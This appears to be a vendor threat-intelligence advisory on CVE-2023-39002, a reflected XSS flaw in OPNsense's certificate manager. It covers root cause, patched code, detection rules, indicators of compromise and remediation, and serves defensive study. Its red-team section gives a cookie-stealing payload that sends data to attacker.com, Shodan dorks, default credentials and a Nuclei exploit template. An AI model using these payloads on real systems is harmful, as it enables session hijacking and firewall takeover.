CVE-2023-39002

Executive Summary

CVE-2023-39002 is a reflected Cross-Site Scripting (XSS) vulnerability in OPNsense, an open-source firewall and routing platform. The flaw exists in the act parameter of the system_certmanager.php script. An authenticated attacker can inject arbitrary web scripts or HTML via a crafted payload, leading to session theft, configuration manipulation, and potential lateral movement within the network. The vulnerability affects OPNsense Community Edition before version 23.7 and Business Edition before version 23.4.2. A public proof-of-concept (PoC) and a Nuclei template are available, increasing the risk of exploitation. The CVSS v3.1 score is 6.1 (Medium), but the impact is amplified by the privileged context of the OPNsense web interface.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a core web application flaw in the OPNsense PHP codebase. The patch is applied directly to the OPNsense core repository.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - However, the Nuclei template shows authentication is required to reach the vulnerable endpoint. The CVSS vector may be misleading; exploitation requires valid credentials.
• User Interaction (UI): Required (R) - The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) - The vulnerable component (OPNsense) and the impacted component (browser) are different.
• Confidentiality (C): Low (L) - Limited data exposure (e.g., session cookies).
• Integrity (I): Low (L) - Limited ability to modify data (e.g., change firewall rules via XSS).
• Availability (A): None (N) - No direct impact on availability.
• EPSS Score: 0.23578 (Percentile: 96.0%) - Indicates a moderate probability of exploitation in the wild.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the widespread use of OPNsense in production environments and the availability of a public PoC elevate the risk.

Deep Dive & Mechanics

The vulnerability resides in the system_certmanager.php script, which handles certificate management. The act parameter is used to specify the action (e.g., edit, add, delete). The application fails to properly sanitize or encode this parameter before reflecting it in the HTML response.

Attack Flow:

1. Authentication: The attacker must first authenticate to the OPNsense web interface. This can be achieved through credential theft, default credentials, or phishing.
2. Crafted URL: The attacker constructs a malicious URL containing the XSS payload in the act parameter:

   /system_certmanager.php?act=%22%3E%3Csvg/onload=alert(document.domain)%3E&id=0
   

   The payload "><svg/onload=alert(window.origin)> breaks out of an HTML attribute context and executes JavaScript.
3. Delivery: The attacker delivers the URL to an authenticated administrator via email, social engineering, or by embedding it in a compromised page.
4. Execution: When the administrator clicks the link, the browser sends the request. The server reflects the payload in the response without proper encoding. The browser interprets the injected HTML/JavaScript, executing the attacker's code.
5. Impact: The JavaScript can steal session cookies, perform actions on behalf of the admin (e.g., modify firewall rules, exfiltrate configuration), or redirect to a phishing page.

Root Cause: The act parameter is directly concatenated into the HTML output without HTML entity encoding or validation. The fix involves properly escaping the output using functions like htmlspecialchars() in PHP.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// system_certmanager.php (vulnerable)
$act = $_GET['act'];
echo "<input type='hidden' name='act' value='$act' />";

Patched Code (Conceptual):

// system_certmanager.php (patched)
$act = htmlspecialchars($_GET['act'], ENT_QUOTES, 'UTF-8');
echo "<input type='hidden' name='act' value='$act' />";

The patched version uses htmlspecialchars() to convert special characters (", ', <, >, &) to their HTML entities, preventing the injection of arbitrary HTML/JavaScript.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running OPNsense instance (Community < 23.7 or Business < 23.4.2).
• Valid administrator credentials (e.g., admin:opnsense).
• A listener to capture exfiltrated data (e.g., a webhook or Burp Collaborator).

Steps:

1. Identify Target: Use Shodan or FOFA with the dork title:"OPNsense" to find vulnerable instances.
2. Authenticate: Obtain valid credentials (e.g., via phishing or default creds).
3. Craft Payload: Use the Nuclei template or a custom payload to steal cookies:

   /system_certmanager.php?act=%22%3E%3Cscript%3Edocument.location=%27https://attacker.com/steal?cookie=%27%2Bdocument.cookie%3C/script%3E&id=0
   

4. Deliver Payload: Send the crafted URL to an authenticated admin.
5. Capture Cookie: The admin's browser will send the cookie to your listener.
6. Session Hijacking: Use the stolen cookie to access the OPNsense web interface as the admin.

Nuclei Template Usage:

nuclei -t CVE-2023-39002.yaml -u https://target.opnsense.local -v

The template will automatically authenticate (using provided credentials) and test for the XSS vulnerability.

Blue Team

Detection:

• Monitor web server logs for requests to /system_certmanager.php with suspicious act parameters containing <, >, script, onload, onerror, etc.
• Look for anomalous patterns in the act parameter, such as URL-encoded characters like %22 (double quote) or %3E (greater than).
• Alert on multiple failed login attempts followed by a successful login and subsequent access to system_certmanager.php.

Hunting:

• Search for HTTP requests where the act parameter contains HTML tags or JavaScript event handlers.
• Correlate with user-agent strings that may indicate automated scanning (e.g., Nuclei, curl).

Mitigation:

• Apply the patch immediately (upgrade to 23.7 or 23.4.2).
• Implement a Web Application Firewall (WAF) rule to block malicious act parameters.
• Enforce strict Content Security Policy (CSP) headers to prevent inline script execution.
• Use HTTP-only and Secure flags for session cookies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /system_certmanager.php with act parameter containing:
    • <script>
    • <svg/onload
    • <img/onerror
    • %22%3E (URL-encoded ">)
  • Outbound connections to unknown IPs/domains from the OPNsense web interface.
• File IOCs:
  • Modified system_certmanager.php file (if attacker uploaded a backdoor).
  • Suspicious entries in /var/log/nginx/access.log or /var/log/lighttpd/access.log.
• System IOCs:
  • Unauthorized changes to firewall rules or certificate configurations.
  • New cron jobs or scheduled tasks added by the attacker.

Detection Engineering

YARA Rule

rule CVE_2023_39002_XSS_OPNsense {
    meta:
        description = "Detects XSS payloads targeting CVE-2023-39002 in OPNsense logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-39002"
    strings:
        $xss_payload_1 = /act=.*%22%3E.*<svg\/onload/i
        $xss_payload_2 = /act=.*%22%3E.*<script>/i
        $xss_payload_3 = /act=.*%22%3E.*<img\/onerror/i
        $xss_payload_4 = /act=.*<script>alert\(/i
    condition:
        any of them
}

Sigma Rule

title: OPNsense XSS Attempt via system_certmanager.php
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2023-39002 by injecting XSS payloads into the act parameter.
author: Valters IT
logsource:
    category: webserver
    product: opnsense
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/system_certmanager.php?act='
        cs-uri-query|re:
            - 'act=.*%22%3E.*<svg/onload'
            - 'act=.*%22%3E.*<script>'
            - 'act=.*%22%3E.*<img/onerror'
    condition: selection
falsepositives:
    - Legitimate use of special characters in the act parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-39002 OPNsense XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/system_certmanager.php"; http_uri; content:"act="; http_uri; pcre:"/act=.*%22%3E.*<(svg|script|img)\/?/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-39002

info:
  name: OPNsense - Cross-Site Scripting
  author: Herry
  severity: medium
  description: |
    A cross-site scripting (XSS) vulnerability in the act parameter of system_certmanager.php in OPNsense before 23.7 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the act parameter in system_certmanager.php to steal OPNsense administrator session cookies and gain control of the firewall configuration.
  remediation: |
    Update OPNsense to version 23.7 or later that properly sanitizes the act parameter in system_certmanager.php and encodes output to prevent XSS attacks.
  reference:
    - https://logicaltrust.net/blog/2023/08/opnsense.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39002
    - https://github.com/opnsense/core/commit/a4f6a8f8d604271f81984cfcbba0471af58e34dc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39002
    cwe-id: CWE-79
    epss-score: 0.23578
    epss-percentile: 0.96004
    cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: opnsense
    product: opnsense
    shodan-query:
      - title:"OPNsense"
      - http.title:"opnsense"
    fofa-query: title="opnsense"
    google-query: intitle:"opnsense"
  tags: cve2023,cve,opnsense,xss,authenticated,rce,vuln

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1

      - |
        GET /system_certmanager.php?act=%22%3E%3Csvg/onload=alert(document.domain)%3E&id=0 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - 'value=""><svg/onload=alert(window.origin)> "/>'

      - type: word
        part: header_3
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: para
        part: body
        group: 1
        regex:
          - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
        internal: true

      - type: regex
        name: value
        part: body
        group: 2
        regex:
          - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
        internal: true
# digest: 4b0a00483046022100b56b184406e224c7b10794791670b2755d3f1dc939ff0cfd858c8f55d75abe73022100c4c9f2f5f073dbbd45c13a5e26968fc971d3f835fc26e416a6f71e90628262b7:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade OPNsense Community Edition to version 23.7 or later, and Business Edition to 23.4.2 or later.
2. WAF Rule: Deploy a WAF rule to block requests to /system_certmanager.php with suspicious act parameters.
3. Session Hardening: Set session cookies with HttpOnly, Secure, and SameSite=Strict flags.
4. CSP Header: Add a Content Security Policy header that restricts script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Measures:

• Implement input validation and output encoding for all user-controlled parameters.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in other OPNsense components.
• Enforce multi-factor authentication (MFA) for administrative access.

Valters IT Signature

Report generated by Valters IT DevSecOps & CTI Framework. Confidence: High. Public PoC and patch available. Next Steps: Patch immediately and review access logs for signs of exploitation.

{/* [Security Hash: 881FEE26702A7CA810A6AEB9] */}